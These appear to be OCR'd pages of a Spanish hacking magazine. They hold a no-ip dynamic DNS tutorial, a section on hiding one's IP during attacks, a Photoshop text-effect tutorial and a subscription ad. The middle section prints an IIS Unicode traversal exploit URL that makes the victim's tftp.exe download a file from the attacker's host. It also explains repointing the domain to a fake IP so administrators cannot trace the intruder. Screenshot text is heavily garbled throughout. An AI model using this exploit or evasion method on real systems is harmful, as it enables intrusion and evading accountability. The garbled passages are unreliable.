Lo primero que haremos es buscar un servicio gratuito
en Internet donde nos ofrezcan este servicio, en
nuestro caso hemos optado por www.no-ip.com.

Thirnreerie s, ol D05 e Fomr Copriasss 1F - M rwsent] i peyeet Ephares
e e——— ] -
Qi - )0 o] 3 (3 et et gl s |- i - 5

e T — ]

D INoPeom)

Your reliable dynamic DNS partner.

| IS
oo
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Hay muchos...

Hay muchos sitios donde ofrecen este servicio, por ejemplo
WWww.getmyip.com

Vamos a seguir los pasos para obtener nuestro
nombre de dominio.

- Arriba a la derecha pulsamos sobre "No-
IP Free" y accederemos a una pagina donde nos
explica perfecto Ingles en qué consiste el servicio
y esas cosas.

- Nos vamos al final de la pagina y en el
centro veremos "Sign up now". Pues lo pulsamos
y nos aparecera la tipica pagina de registro.

S
T e ] &
(& 0 J (25, Singeds ' Feeted i imeda | [ G- BH - ' 3

prr———— e

Organizaticn

Dryn Lipidate Client

far SPAM i not tolerated.
paplaieits rgarding your

NOTICE: Uso of any
terminatod If No-18

Flegratrl

Cumplimenta...

Cumplimenta tnicamente los recuadros que estan en negrita:
First Name (nombre), Second Name (apellido), Email (tu
direccion de Correo Electronico) y How did you hear about
us? (te pregunta como has conocido esa Web, selecciona
una respuesta cualquiera y ya estd).

No es recomendable que proporciones tus verdaderos datos
excepto en el mail. Te recomendamos que el mail sea uno
poco importante, por ejemplo uno de esos gratuitos que
puedes obtener en muchas Webs... seamos realistas, estas
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empresas acaban utilizando tus datos para promociones
"basura", asi que, ya sabes.

Todos deberiamos tener un mail gratuito a nuestra
disposicion, un comodin que podemos utilizar cuando nos
subscribimos a sitios/servicios gratuitos, de esa manera te
ahorraras bombardeos publicitarios :)

- Nos registramos cumplimentando los datos que
nos piden y pulsando el botén REGISTER (abajo en
el centro). En ese momento, si todo ha funcionado
como debe, saldra una ventana informandote que
ha sido enviado un mail a tu cuenta de correo con
la clave de registro. Ya sabes, accede a tu correo y
toma buena nota.

5.- Vamos a crear nuestro dominio y
a comprobar que funciona :)

* Cierra todas las ventanas, abre tu navegador e
introduce www.no-ip.com. En este momento, arriba
a la izquierda introduce en Email el que pusiste al
rellenar el formulario, en Password el que acabas
de recibir y pulsa el botén Login.

User Login
Emai

MEErEsmas.com

* Pulsado el botdn aparecera una pagina, mira arriba
a tu izquierda y pulsa sobre Add (afiadir). Lo que
queremos es configurar un nombre de dominio y
eso es lo que vamos a hacer. Una vez hemos pulsado
sobre Add llegaremos a la ventana de
configuracion/creacién de un nombre para nuestra
IP;)

Allow wildcards, [
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Fijate bien...

Fijate bien en la imagen, acabamos de encontrar "por
casualidad" una Web que nos muestra nuestra IP Externa.
Fijate en IP Address, esa es nuestra IP y la ha sido

automaticamente cumplimentada ;)

* En Hostname introduce el nombre que quieras,
nosotros hemos introducido triniumftp.
Inmediatamente debajo, selecciona una de las
posibles opciones (nosotros, como estamos hablando
se un Servidor FTP hemos escogido serveftp.com,
pero puedes elegir la que quieras).

Ahora mismo ya puedes hacerte una idea de nuestro
Nombre de Dominio, en nuestro caso sera
triniumftp.serveftp.com ;)

* El resto de opciones no hara falta tocarlas excepto
dénde figura nuestra IP Externa, que deberd ser
corregida en caso de que accedas por proxy 0 cosas
parecidas (ya lo hemos explicado con anterioridad).
Por regla general deberds dejarla como esta.

* Finalmente pulsamos sobre Create Host (abajo
en el centro) y nos aparecera una confirmacion de
la operacidn.

¥ Hembes Aroa

Hell A,

Fijate bien en el mensaje (te lo traducimos): El host
triniumft.serveft.com se resolvera como
80.36.230.235. Ha sido afadido a nuestro sistema
y estara en funcionamiento en 5 minutos ;)

A partir de este momento (espera cinco minutos),
cualquier persona que quiera conectarse a la tu IP,
en lugar de recordar esos numeritos "tan majos"
podra hacerlo recordando el Nombre de Dominio
que has creado, en nuestro caso
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triniumftp.serveftp.com (contra mas corto lo hagas
mejor ;))

- Oye, ;estds seguro de que esto funciona?

TuU mismo puedes comprobarlo y ya sabes como
éno?

- Hombre, no se... Ahhh!!! En el niimero 1 ya me

enseniaste algo de esto, si, si... por el comando ping.

Perfecto!!! Abre una Ventana de Comandos y haz
un ping a tu equipo pero utilizando tu nuevo y
reluciente nombre. En nuestro caso --> ping
triniumftp.serveftp.com.

Podras ver como el comando PING resuelve tu
nombre y averigua tu IP :)

Simbolo del sistema

Microsoft Windows XP [Uersion 5.1.26881

<G> CGopyright 1985-2881 Microsoft Gorp.

IC:“\Documents and Settings“RUBEN>ping triniumftp.serveftp.com

Haciendo ping a triniumftp.serveftp.com [80.36.238.2351 con 32 hytes de datos:
80.36. 35: bytes=32 tiempo<{in TTL=128
80.36. -235: bytes=32 tiempo<in T 8
80.36.230.235: 2 tiempo{im TIL=128
80.36.230.235: 2 tiempo<{im TIL=128

ping para 08.36.230.235:
jados = 4, wecibidos = 4, perdidos = B8

s de ida y vuelta en nilisegundos:
s. Maximo = Bms. Media =

C:“\Documents and Settings“\RUBEN>

- Pero hay algo que no me cuadra, a ver, tenemos un
nombre de dominio ;jno?, el nombre tiene una IP, la
nuestra ;no?, la que hemos puesto en el formulario...
pero si nuestro ISP nos cambia la IP... ;Como se entera
nuestro nombre de que tenemos una nueva ip? ;tenemos
que volver a rellenar el formulario? (Ahora me dird que
no tengo que ser tan vago y que la vida es asi y que los

pdjaros cantany ...)

Pues no, los sefiores de www.no-ip.com han puesto
a tu disposicién un programita que actualizara
automaticamente la IP asignada a tu nuevo nombre
cada vez que tu ISP te la cambie. éSe puede pedir
mas?

6.- "Auto-actualizando” la IP asignada
al Nombre de Dominio ;)

* Una vez mas nos vamos a Www.no-ip.com vy
miramos abajo a la derecha. Veremos una columna
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donde pone Dyn-Update Client y debajo Windows, * Ahora solo nos queda ejecutar el programa, con
Mac OS y Linux. lo que se instalara en nuestro PC.

Hicsatip, exe
fMo-IP DUC Installer  ;
aikalwerks B oI comé

ELTITIR | More Info

Durante la instalacion acéptalo todo por defecto
hasta llegar a esta ventana, donde te pide un E-Mail
y un Password. A estas alturas ya sabes que debes
introducir el mail y el password que diste al crear
tu Nombre de Dominio éno?

weh redirects? Meed more
nhanced and get more
nnn hanners. and add

No-1IP DUC x|

Flease enter your e-mail address and
pazsword belaw. Don't have an account?
Mo problerr%%ick here to sign-up freel

Pinchamos sobre Windows y nos conducira a una Forgot pour Bassward? Even better,
;. click here ta have it e-mailed to poul
pagina de la cual descargaremos el programa. En
concreto pincharemos sobre No-IP DUC v2.1.3 y Exral pcss |
. ;. Paszword I
nos conducira a otra pagina donde pulsaremos sobre
DOWNLOAD NOW vy recibiremos el programa (ya ok Cancel |

era hora!!l)

Una vez introducidos, te quedards ante esta la
Biien your v, . ventana de informacion del programa.

Host Search; p— - I

This is the No-IP.cam Dynam: DNS update chent page. We offer theis chents for you ta 7 3 il
dcwrioad 198 G ChiFge; T GABML are avarin fof Uinis/Unit, MACOS, a0d WIS T No-IP DUC ¥Z2.1.3

wr;r::: :.L"nr;r'“z” ::I'.an‘ﬂ“l EEE.‘;E‘%’?’,_"J.'!“:J.':?Z' P Account used for updates: saditor@eresmas. con Edit |
HOTE, tou st s st 1 th vt st bt v cn v e o I Ta submit 2 bug/suggestion please click here and fil out the farm.
N Please check the hosts you want updated, checks take effect 10 s i 04,
Group
actian i Hosts
Comrioad 2.1.3 Pttt o
[P S @ triniurmftp. serveftp.com
- =8
& 0N 5 R0 F RIS et . TERTA ISR I §
Oz 8] o emkot.com. com Y000 2165 1I0FE |2 Memigucyweeet By | vecn ™|t e Sl - |
[Ipdating ta 1P MAT ARouterProxp 80,36 230,235 ﬁh Optiong
CHET » (Ipunisasy » Wisiowy » Web Augsoneg » Seeery » NeP DUE {Dynamic Update Clieny d
[wie 20:40] Checking Remote IF Address.
No-iP? DUC (Bynamic Update Client) 2.1 ppuse [wie 20:40] Cunent IP address found, using 80.36.230.235 for updates.
[V Ponplendiion  Dnaesd 2 [vie 20:40] Retieving hosts, pleaze wai, J
e ke a: R ns [vie 20:40] (=2 Mews retrieved, new news to view. Click here ta view
File siro; 0K, Clgch they downinad — t
License! Frie It
i [vie 20:40] Host retrieval complete. To add/remove hosts, click here,
::::::E‘;::ulmn' datar i3 ired wih No- coms te & This cheat keaps you I addess i [ViE EDEB] EhECking HEthE IP Add[ESS. =
§|‘h:lz‘i“'\a:"f‘t-l;{’\r me, provided by Ho-P.com Thig ERE wanting s run & Web TP server
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Marca el cuadro de tu Nombre de Dominio (como
en la imagen) para que el programa "vigile" si tu
ISP cambia tu IP. Ahora, cada vez que TU IP EXTERNA
cambie, el programa actualizara la ip asignada al
Nombre de Dominio.

En la parte...

En la parte superior de la Ventana de Informacion del
programa puedes ver tu Nombre de Dominio. Si hubieses
creado cuatro o cinco, saldrian todos perfectamente
ordenados, imagina que quieres montar un ftp, un servidor
de paginas web, un servidor tftp y un servidor smtp; tan
solo tendrias que crear varios Nombre de Dominio que se
podrian llamar triniumftp.servftp.com,
triniumweb.servftp.com, triniumtftp.servftp.com y
trinitumsmtp.servftp.com :)

7.- Configurando nuestro "auto-IP-
actualizador"

El programa es sencillito, asi que solo modificaremos
una opcion, tu mismo puedes echarle un vistazo al
resto, que hay cositas interesantes ;). Pulsaremos
sobre el botdn OPTIONS y nos aparecera la ventana
de configuracion.

Options___________ x

onnectionl Schedulinga’Autodiall Other |

1 Punan startup
Set thiz option to have the graphical interface run on startup, when this user logs in.

T Use alternate port
Set this option if you are having problems connecting o our servers. When set, it farces the
client to connect on port 80, rather than port 8245,

T~ Fun as a system service
Set this option to have the system un the DUC as a system service. When using this
option, you do HOT have to uge "Run on startup” above. This option is only available on
Windows MT/20004<F, and can only be uzed by the system administrators. Only one
adminiztrator can be using thiz with their account at once.

T Require password to restore window from system tray

Thiz option will force the DUC to always start hidden. ‘when vou double click the system
tray ican, it will ask for the passward below. The anly way to remowve this is to urinstall and
reinstall the DUC.

Ok l Cancel
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Si quieres que nuestro programita se "auto-inicie"
junto al Sistema y utilizas Windows NT/XP ya te
debes imaginar la opcion a seleccionar éverdad? Si,
donde pone Run as System Service (no hace falta
explicarlo éverdad?, ya te hemos dado la paliza
bastante con esto ;))

Pulsa OK y LISTO!!!, ya tienes un nuevo Tray Icon
junto al reloj del sistema ;)

8.- Apreciaciones:

- Creo que me has engariado. En el numero 1 de Hack
x Crack me dijiste que una actualizacion de DNS
implicaba tener que esperar unos dias hasta que se
"propagaban'’ por toda Internet; pero ahora tengo un
Nombre de Dominio y solo he tenido que esperar cinco
minutos para que funcione. ;Como te explicas eso?
(Ahora si que lo he pillado, seguro!!! Venga sufre, sufie,

Me gusta esta pregunta, en serio.

- (Si, ya, si, claro, si, si, como los politicos cuando estdn
en un aprieto).

En serio, eso me demuestra que te has leido los
numeros anteriores y los has entendido. Bueno, pues
te lo explico enseguida.

Recuerda que, al principio de este texto, dijimos que
en realidad te habian asignado un subdominio ési?
Bien, pues el dominio principal, el que tarda semanas
en "propagarse” ya ha sido comprado por no-ip hace
mucho tiempo. Lo que hace no-ip es crear un
subdominio dentro de su dominio principal y actualizar
su DNS interno con los nuevos datos, por eso tienes
que esperar 5 minutos ;p

En este caso en concreto el dominio principal es
servftp.com (propiedad de no-ip) y el subdominio
es triniumftp, quedando como nombre final
triniumftp.servftp.com
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OCULTACION DE IP POR NOMBRE

DE DOMINIO
CONSIGUE UN NOMBRE DE

DOMINIO GRATIS Y UNA IP FlIJA

PARTE II:
UTILIZA UN
OCULTAR TU IP

NOMBRE

DE DOMINIO PARA

Hemos aprendido juntos a:

£

OCULTAR TU IP mediante proxies anommos

* CREAR CADENAS DE PRORIES para ocultar mejor nuestras “"andanzas™ por La Red

£

opcion.

OBLIGAR a utihzar nuestros proxies a programas que en principio no admitian esa

Ahora le toca el turno a la OCULTACION POR NOMBRE DE DOMINIO

1.- Situacion:

Debemos recordar que, cuando utilizamos (por
ejemplo) el CODE / DECODE BUG, para poder subir
archivos al servidor hackeado utilizamos NUESTRO
PC como Servidor TFTP mediante el programa
tftpd32. En la orden de subida pones TU IP EXTERNA
sustituyendo a las palabras TU-IP-PONLA-AQUI y
eso significa que el servidor hackeado puede loggear
tu IP y por lo tanto localizar tu maquina.

http://IPDEL.SERVIDOR.HACKEADO/scripts/.. %c0
%af../winnt/system32/cmd.exe?/c+d:\winnt\system32\t
ftp.exe%20-i%20TU-IP-PONLA-
AQUI%20get%20% 20fatscsi.dll%20d:\proteus\fatscsi.dll

Cuando explotas el bug introduciendo esta orden,
realmente estas haciendo dos cosas:

- Por un lado estas accediendo al Servidor
Web por el puerto 80 y ten por seguro que estas
siendo logreado. No importa, si aplicas lo aprendido
en anteriores nimeros estaras a salvo (siempre que
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no ataques al Pentagono, claro, ya te advertimos de
todo esto).

- Por otro lado, estas ordenandole al Cliente
TFTP de la victima (tftp.exe) que se conecte al tu PC
con la IP (tu IP Externa). Le estas dando al servidor
Hackeado TU IP!!! y ten por seguro que segun la
configuracion del sistema guardaran a buen recaudo el
log que te delatara.

Qué!!! Ya te ha entrado el gusanillo del miedo éverdad?
Te lo advertimos una y otra y otra y otra vez hasta la
saciedad en los anteriores nimeros, recibimos muchos
mails diciendo que no repitiésemos tanto eso de que
no se debia utilizar este tipo de conocimientos para
hacer dafio a nadie y tal y cual... bien, vamos a ver, si
no has intentado atacar a ningin gobierno o multinacional,
pues en principio no pasa nada, pero hombre, recuerda
nuestros continuos y acidos comentarios respecto a los
"lamercillos", eso de que acababan en la "las duchas"

7

-JO!!!! Yo, verds, yo no pude resistir la tentacion y monté
un DUMP de "esos" con el "servu' en un servidor que
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no era el vuestro, ya , ya se que no deberia hacerlo, que
para eso estd vuestro servidor, pero no se, yo queria

experimentar, tu dijiste que experimentar era bueno.

A ver, no te preocupes tanto. Si no te dedicaste a
formatear servidores remotos no pasa nada... pero
hombre, antes de lanzarte a la aventura intenta
experimentar "en casa" évale?

Nosotros, quienes hace tiempo nos dedicamos a
esto, tenemos como minimo un PC Principal y un
PC de pruebas con varios sistemas instalados para
hacer nuestras "practicas". Esta es la mejor forma
de aprender, tener dos PCs en tu casa conectados
por Ethernet, uno el principal y otro de pruebas (la
victima)... en serio, si quieres hackear un servicio
(por ejemplo un IIS), pues instalas el IIS en el PC
de pruebas y lo hackeas desde el PC Principal. No
te imaginas lo que aprenderas, por ejemplo,
instalando un IIS en un PC, vamos, no tiene
nombre!!! Hay técnicos informaticos que no son
capaces de montarte un IIS, no es que sean tontos,
faltaria mas, simplemente eso no se ensefia en la
universidad (es increible!!!)

- Si, claro, ahora tengo que comprarme otro ordenador
para hacer pruebas ;no? ;De donde quieres que saque
yo 1300 euros para otro ordenador ;eh?, es que... no
tengo pelas.

No, de eso nada, por 200 euros puedes tener un
ordenador de segunda mano para tus pruebas.

- 200 euros? Si hombre, a ver donde encuentras un
pentium lento, por ejemplo un Pentium I1I a 1500 Mhz

a ese precio.

Veo que perteneces a "la nueva generacion”, vamos,
que un ordenador no merece llamarse asi si no tiene
tropecientos mil Mhz y una GForce 4 MegaPlus Ultra
GTS. Te sorprenderias de la realidad, te invitaria a
visitar servidores funcionando con un Pentium 600
y 64 MB de RAM y cumpliendo PERFECTAMENTE
sus funciones. Seamos serios, no necesitas un
"superPC", simplemente un ordenador donde poder
instalar un Windows 2000 y el IIS.

- Bueno, vaaaleeeee... Jy donde puedo encontrar uno

de esos ""cacharros'?
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Intentaremos buscarte una empresa especializada
en esos "cacharros", pero te proponemos algo mejor
y que puede salirte gratis. Tienes que echarle un
poco de "cara" al asunto, ummm, te ofrecemos dos
opciones interesantes que el autor de este articulo
ha puesto en practica con excelentes resultados:

* Llama a todos tus familiares y amigos, preguntales
si tienen un PC del afo de la pera tirado por algin
rincon (aunque sean piezas sueltas) y empieza "la
recolecta". Quizas acabes con dos "cacharros"
montados en menos de una semana a base de piezas
sueltas... éno quieres aprender? Te aseguro que no
existe mejor manera de aprender que haciendo este
tipo de cosas ;)

* Paséate por tu calle y pregunta a toda empresa
que pilles si tienen PCs inservibles el sus almacenes,
que estds participando en un proyecto de la
universidad (o en el cole o que tienes una empresa
de reciclaje, o lo que sea, debes adecuar la "ingenieria
social" a tu edad y aspecto, si tienes 16 afios no les
digas que es un proyecto de investigacion de la
universidad évale? ;p)

Eso que en Hacking se llama "ingenieria social" es
simplemente echarle un poco de "cara" al asunto.
No hace falta mentir, en serio, éacaso no quieres un
"cacharro" para tu proyecto de investigacion? Es
mas, te aseguro que esta experiencia puede servirte
para descubrir potenciales "ocultos" en tu
personalidad, habilidades que quizas tienes y ni
siquiera lo sabes... ademas, si en un futuro quieres
dedicarte al "comercio", esta experiencia puede serte
de lo mas provechosa :)

2.- La solucion:

Una de las posibles soluciones a la hora de evitar la
introduccion de nuestra IP en la orden de subida es
utilizar un nombre de dominio. En nuestro caso, si
quisiésemos hacer un update al servidor de
Hackxcrack PERO utilizando el nombre de dominio
que hemos creado en el anterior texto, la instruccion
quedaria asi:

http://80.36.230.235/scripts/.. %c0%af../winnt/system3
2/cmd.exe?/c+d:\winnt\system32\tftp.exe %20~
i%20triniumfip.servfip.com%20get%20%20fatscsi.dll
%20d:\proteus\fatscsi.dll
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De esta forma, conseguimos que en lugar de quedar
registrada nuestra IP quede registrado nuestro
nombre de dominio.

- Oye, pero eso es una tonteria ¢éno? Porque cuando
el Administrador vea el nombre de dominio intentara
encontrar nuestra ip con un simple ping éno?

Ja,ja... esa es la idea, pero imagina que una vez
hemos acabado el trabajo nos vamos a la pagina
de no-ip y "actualizamos" nuestra ip a 0.0.0.0 o una
ficticia. équé pasara entonces? Que el Administrador
intentara resolver el nombre de dominio y se
encontrara con una IP ficticia.

La idea es utilizar el nombre de dominio una sola
vez y para un fin en concreto. Una vez acabamos
la faena "actualizamos" ese nombre con una IP
FICTICIA (la que se nos ocurra) y nos olvidamos
de ese nombre de dominio que no volveremos a
utilizar nunca mas ;)

Si utilizas un...

Si utilizas un nombre de dominio para ocultar tu IP
EXTERNA, recuerda que NO DEBES incluir ese nombre
de dominio entre los nombres de dominio que debe actualizar
el programa No-IP DUC v2.1.3

Supongo que no hace falta explicarlo. Si "actualizas"
manualmente un nombre de dominio a una IP Ficticia y el
programa cada dos minutos vuelve a poner la real, pues no
sirve de mucho. Recuerda que puedes elegir qué nombres

de dominio actualiza automaticamente :)

3.- Actualizando manualmente un
Nombre de Dominio con una IP
Ficticia.

Es sencillo, nos vamos a www.no-ip.com e
introducimos nuestro Email/Password. Nos aparecera
una pagina y miraremos arriba a la izquierda. En
ocasiones anteriores pulsamos sobre ADD para
anadir un nombre de dominio, en este caso
pulsaremos sobre la palabra MANAGE para
gestionar nuestro nombre de dominio anteriormente
creado :)

Una vez pulsada la palabra MANAGE nos
encontraremos frente a una pagina de configuracion.
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@LU::‘].H{'ML: Biteh your I1P. . .

Host Search: i B s

Fijate que debajo de la Columna ACTIONS
(a la derecha de tu IP) estd la opcion Modif.
(modificar). Pulsamos sobre Modify y llegaremos
a una pagina donde cambiaremos nuestra
IP por la que queramos (nosotros hemos
puesto 0.0.0.0.)

Loaed i sadtor e com
Biteh your IP. . .

Harstnarmn:
Host Type

trinlumftp sorvaftpoom ]

0 Addross

assign to croup: [135]

Al Wikdeards: [

Last Update: 2003-11-08 1

Finalmente, en esa misma pagina, abajo y en el
centro pulsamos el botén Modif. Host y se acabd.
Te saldra en mensajito de que en cinco minutos tu
Nombre de Dominio estard actualizado.

e T
Dlteh yoawur $P. . .

Hoat Saarch: Ji ity Bj[o]

[F Mumbers: Moy lhose:
s 1o rniumftp.serveftp com wens succassil, piéase alow up 10 5 minues

your changoes are live on our DNS servers

A partir de este momento, si haces un ping a tu
nombre de dominio veras que tu IP es la 0.0.0.0 ;)

| o+ Simbolo del sistema

IC: \Documents and Settings\RUBEN?ping triniumftp.serveftp.com

fHaciendo ping a triniumftp.serveftp.com [B.0.8.81 con 32 bytes de datos:
IE1 destino
BE1 destino
$E1 destino
PE1 destino

cificado no
cificado no
cificado no

dlido.
valido.

es valido.
cificado no es valido.

fEstadisticas de ping para 8.0.0.0:
Paquetes: enviados = 4. recibidos = B, perdidos = 4

(188 perdidos).
fC: \Documents and Settings\RUBEN>




CREA LETRAS DE IMPACTO PARA
TUS DOCUMENTOS

PARTE I:
LETRAS DE FUEGO

dCKXCIac

¢CREES QUE N0 ERES CAPAZ DE CREAR DOCUMENTOS PROFESIONALES?
EMPIEZA A CAMBIAR EL CHIPM SOLO HACE FALTA QUE SIGAS NUESTROS PASOS :]

1.- Presentacion.

No solo de IPs vive el hombre, asi que vamos a airearnos un poco creando letras de fuego con Photoshop.
ES MUY SENCILLO!!!

Por cierto, necesitas el programa PHOTOSHOP para realizar esta practica.

éQué?

¢Qué no lo tienes?

Pues en los nimeros anteriores ya te indicamos donde encontrarlo, y si no, puedes descargarte una version
"temporal" de la Web Oficial de Adobe www.adobe.com (nada mas entrar a la Web, arriba a la derecha

puedes seleccionar el idioma de la pagina :)) o puedes instalarlo de cualquier CD que tengas de otras
revistas, suele estar hasta en la sopa!!!

2.- Manos a la obra:)
2.1 - Creando la base.

* Abrimos nuestro querido Photoshop. Arriba a la izquierda Seleccionamos el Menu File --> New y nos
aparecerd una ventana como esta.
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T

Fil= Edit Image Layer Select Filker Yew Window Help

Feather: |0 7 anti-sliazed

Style: [Normal Height: [

Havigator  |nfo %,

Harme: {Untitied-1

Cancel

B —

= 3|

Color )

| —
L =)
(el —————

A:55

E I:IAESE

I Histar: l Actions -E

= [ Ecea =
b Ecca

< [ SDs_piner

|| b 505 viner - Skip Barttels - |

[efe [CTONE]TI.

EE|
Layers )

i Image Size: 52K

win: 34 [om <]
Hent: 573 [an <]

Resolution: IW Im
Mode: [@rayscale 7]

— Contents
 \hite

' Barkground Color
" Transparent

=
o

* En NAME (nombre) pon el que quieras, por ejemplo LETRA DE FUEGO.
* En MODE (tipo) vamos a poner Grayscale (escala de grises).
*Y en CONTENTS seleccionaremos BACKGROUND COLOR (color de fondo).

* Finalmente pulsaremos OK y tendremos ante nosotros una cosa asi.

& Adobe Photoshop
File' Edit Image Laver Select Filker Miew ‘Window Help

m Feather: ID P 7 dniti-aliazed

= @ 16,7%
i LETRA DE FUEGD @ 16,7% (Gray) Navigator " Info

Styler [Normal =1 wadtne | Height: | ‘

(i)

i

L_a
-

,__
I

Ry
A

R | i
RHE
Color " Swatches L Styles (]

QKF_ID_%

DBl |6
FlE

-
=

ol x| &5
>

L=
[

Histor Actions 4
D b4 D Ecco
= B Eceo -

i D S0z _Diner

P 50s Diner - Skip Barttels |

L I |
Layers " Chamels . Paths N (1)

Jicl

o)
]

[
]
]

:

B Draw rectangular selection o move selection outline, Use Shift, Alt, and Cirl

16, 67% | Doc: 4, 11MADK
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2.2 - Introduciendo las letras.

* Seleccionamos la Herramienta de Introduccion de texto (TYPE TOOL T) como se ve en la figura.

i ddobe Photoshop

File Edit Image Lawer Select Filker Wiew ‘Window Help

T o 0| [

"+ ‘ ™ dwto Select Layer [ Show Bounding Bos

i LETRA DE FUEGO @ 16,7% (Layer 1,Gray)

IR EEd

-
1 I
L

H|L*

Type Tool (T)

S

22l |l= | ||| W e[| =D

I

i

16 67% | Doc: & 1iMA0K B Click and drag to

* Una vez seleccionada creamos un cuadro en nuestro cuadradito negro :) y escribimos lo que queramos,
por ejemplo hackxcrack ;p

* Acto seguido seleccionamos la Herramienta de Mover (MOVE TOOL V), pulsamos sobre nuestro hackxcrack

con el botdn izquierdo del Mouse y sin soltar arrastramos hasta colocarlo abajo y en el centro, como
en la figura.
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2.3 Efecto Viento.

* Rotamos la imagen 90° mediante el Menu Image --> Rotate Canvas --> 90° CW
* Le aplicamos Filtro de Viento mediante Menu Filter --> Stylize --> Wind. En la ventana de configuracién
del filtro seleccionamos BLAST y FROM THE LEFT (desde la izquierda).

. Adobe Photoshop == . == m x|
(Hle Edit Image Layer Select | Filker Miew Window Help

| K. | I Auto Select Layer [ She Sl S E T [ = === R T lil
& 7 Artistic 4 el
_— Biur :

EZE Brush Strokes

v Diistort: 3

o= :'$' Rloise: 3 ==

P- 5,3 Pixelate 3

12[- f_ Render 3 j 100% ﬂ

% d‘/ Sharpen 3

- Sketch 3

%» ﬁ{> 4 Diffuse. .,

<7 [ Texture b Emboss.,,

é,. ® | Wideo F Extrude..,

T Other »  Find Edges " Stagger

k ‘ = Glowing Edges...

Q . ElETAC d Solarize —

Direction

?&]’ Conar " From the Right

L % From the Left

[ &

Aplica el filtro repetidas veces hasta obtener algo parecido a esto, nosotros lo hemos aplicado UNA SOLA
VEZ, pero sirvete tu mismo ;p:

| & Untitled-3 @
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2.4 Efecto Difusion:

* Le aplicamos Filtro de Difusion mediante Men Filter --> Stylize --> Diffuse. En la ventana de configuracion
del filtro seleccionamos "normal" y obtendremos algo asi:

"

. Adobe Photoshop i

|Fil= Edit Image Layer Select | Fiter Wiew Window Help m JX
Bs | [ Auto Sslect Layar [ She e} i o I T =) W B == T Tl [ o |

L Artiskic r
__ e G T4 3 — 1
| W Brush Strokes  + [0 Cance|
"‘;“" Diskart: 3
L e > v Prewview
gD- i Pixelate r
tf- ; i Render F
sh »
27 vl
&) &, ; M
7| (3 e »  Emboss...
(’b. LN Wideo ¥ Extrude.,,
Ckher b Find Edges
k' T = ~ Glowing Edges... ¢ Darken onl
& O Digimar o Liarken Cnly
i Tiles. . " Lighten Only
Trace Contour..,
SW SN
wind...
] |
T -0l x|

2.5 Efecto Desenfocatr:

* Rotamos la imagen 90° mediante el Menu Image --> Rotate Canvas --> 90° CCW

* |e aplicamos Filtro de Desenfoque Gaussiano mediante Menu Filter --> Blur --> Gaussian Blur.
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E & Adobe Photoshop |

Eile Edit Image Lawer Select _Flli;er Wiews  Window Help
Diffuse  Ctr+F  E 5 |

| k}; I~ Auto Select Layer I~ She L
. Artistic
Brush Strokes
Distart
loise

|

-

Blur

Blur Mare
Tlation Blur... !

Radial Blur, ..

Smark Blur, .,

Cffe |7 IS8 fBelex LR
Sufl 0[] S ] 4 7 |

Pizelate

Render
Sharper
Sketch
Stylize
Texture
Yideo
Other

| * = v v v v v v v v ¥

-

Diigirnarc

En la ventana de configuracion del filtro seleccionamos un radio de 2 pixels, pero puedes hacer experimentos
con este valor (cada uno sirvase a su gusto).

Xl
04 |
Zancel

v Prewiew

[-] 1oo%
Badius: 2.0 pixels

N

Y nos quedara algo asi:
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2.6 - Efecto Distorsion:

* |e aplicamos Filtro de Distorsion mediante Menu Filter --> Distort --> ZigZag.

Z._‘-Adohe Photoshop

|| % | I #uto Select Layer [ She

z0lfelr|lclneR s

3
bl
4.
7,
E {
s
T
[=
7]
o

Gaussian Blur

Artistic
Blur
Brush Strokes

i Untitled-1 @ 66,

T

Moise
Pixelate
Render
sSharpen
Sketch
Skylize
Texture
Yideo
COther

Digimarc

Chr+F

bl v v v

Diffuse Glow. ..
Displace, ..
Glass..,

Ocean Ripple. ..
Finch...

Paolar Coordinates. .,
Ripple...

Sheat...

Spherize. ..

Twitl...

Wave. ..

rFr T wTwrowywvowyw

En la ventana de configuracion del filtro aplicamos un 10 al Amount y un 5 al Ridges, pero puedes hacer
experimentos con este valor (cada uno sirvase a su gusto). En Style seleccionamos Pond ripples.

X

100%

=l

Amount

[£]

Ok I
Carncel |

it

Ridges

m—
C—

ot

Style W

2.7- Acabando :)

Y nos quedara algo asi:

@i Untitled-3 @ 50% (hackscrack, Gray)

* Ya solo nos queda "indexar". Menu Image --> Mode --> Indexed Color
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i &idobe Photoshop
File Edit | Image Laver Select Filker Wiew ‘Window Help
(e | - IR .
L st v Grayscale
_ 2 Duakone. .
% Duplicate... L Staedcdey, )
=
= Apply Image... RGE Color
L_]. ks Calculations,.. CMYE Calar
= % = = Lab Color
.h: ; (_:mage I;_e"' Multichannel
anvas Size...
35 jf Rotate Canvas b v B Bits/Channel
% ﬁ'{ (6} L& BitsfChannel
: Trim. ., ~dlar Takile
oar Tagle, .,
ZAIE | Reveal all Siri
| - B Assian Profile. .,
Lo o Convert to Profile. ..
kT
- Trapi,
g0
D f Extract,.,  Alk+Chrl+
{frp @ Liquify,..  Shft+Chrl+x

* Y finalmente MenU Image --> Mode --> Color Table y seleccionamos Black Body

:. Adobe Photoshop Color Table ¢ i‘
Eitrran 5 Tahle: I Grayscale j 0K |

Grayscale
Dldtane

Adjust

‘ Cancel |

Grayscale i Load...
Spectrum 0
Systern {Mac O5) —J—

Systemn (windows)

Duplicate. . v Indexed Colar

Apply RGE Color

Calcilati CMYK Color
Lab Calar

Multichannel

Image Size...
Canvas Size...
Ruotate Canvas b v O Bitsfi

rine|

Grop
Trirm,

Reveal &l

¥ Breview

[Z]

Assign Profile. .,

Histogran. ..
Histogram Canvert to Profile. .

Trap. .

3.- Despedida.

Cambiando algunos valores, puedes obtener verdaderas maravillas, a ver si el "dire" de la revista me deja y el mes que viene explico
unas cuantas cosas mas.
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SUSCRIBETE A
PC PASO A PASO

SUSCRIPCION POR:
1 ANO
11 NUMEROS

Contra Reembolso

Solo tienes que enviarnos un mail a preferente@hackxcrack.com
indicando:

- Nombre

- Apellidos

- Direcciéon Completa

- Poblacién

- Provincia

- Cogigo Postal

- Mail de Contacto y/o Teléfono Contacto

Es imprescindible que nos facilites un mail o teléfono de contacto,
puesto que 24 horas después de que recibamos tu peticion de
subscripcion te daremos un numero de Cliente Preferente. Este
numero sera utilizado para los sorteos.

- Tipo de Subscripcion: CONTRAREEMBOLSO

- Numero de Revista:

Este sera el nimero a partir del cual quieres subscribirte. Si deseas
(por ejemplo) subscribirte a partir del numero 5 (incluido), debes poner
un 5 y te enviaremos desde el 5 hasta el 15 (ambos incluidos)

APRECIACIONES:

* Junto con el primer nimero recibiras el abono de 45 euros, precio
de la subscripcion por 11 numeros (un afio) y una carta donde se te
indicara tu numero de Cliente Preferente vy justificante/factura de la
subscripcion.

* Puedes hacernos llegar estos datos POR MAIL,tal como te hemos
